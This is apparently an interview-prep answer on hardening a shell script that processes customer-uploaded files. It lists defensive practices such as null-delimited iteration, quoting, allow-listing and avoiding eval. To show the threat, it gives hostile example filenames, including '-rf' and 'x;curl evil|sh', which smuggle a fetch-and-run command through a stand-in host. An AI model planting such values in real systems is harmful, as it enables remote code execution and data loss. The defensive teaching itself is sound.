Interview Prep/Shell Scripting/Scenarios: writing and hardening scripts

A script processes files that customers upload to `/srv/uploads`. What security problems do you watch for?

AdvancedScenarioScenarios: writing and hardening scripts
Answer

Situation read → Filenames are attacker-controlled input. They can contain spaces, newlines, leading dashes, .., glob characters and shell metacharacters.

What I'd do →

  1. Never parse ls; iterate with find ... -print0 | while IFS= read -r -d '' f.
  2. Quote every expansion and pass -- before filenames: mv -- "$f" "$dest/".
  3. Never put filenames into eval, bash -c, ssh host "..." or find -exec sh -c '... {}' (use sh -c '...' _ {} so the name is an argument).
  4. Reject or sanitize names against an allow-list: [[ ${f##*/} =~ ^[A-Za-z0-9._-]{1,128}$ ]] || quarantine "$f".
  5. Do not follow symlinks the uploader could plant (find -P, check [[ -L $f ]]), and run the script as an unprivileged user.
  6. Process in a private temp dir created with mktemp -d.

Why → A file named -rf or x;curl evil|sh turns a sloppy script into remote code execution or data loss.

Interview tip → Demonstrate the sh -c '...' _ "$f" pattern; it shows you know how to pass data as arguments rather than code.

All Shell Scripting questions Roadmap: Shell scripting (Bash)

More on Scenarios: writing and hardening scripts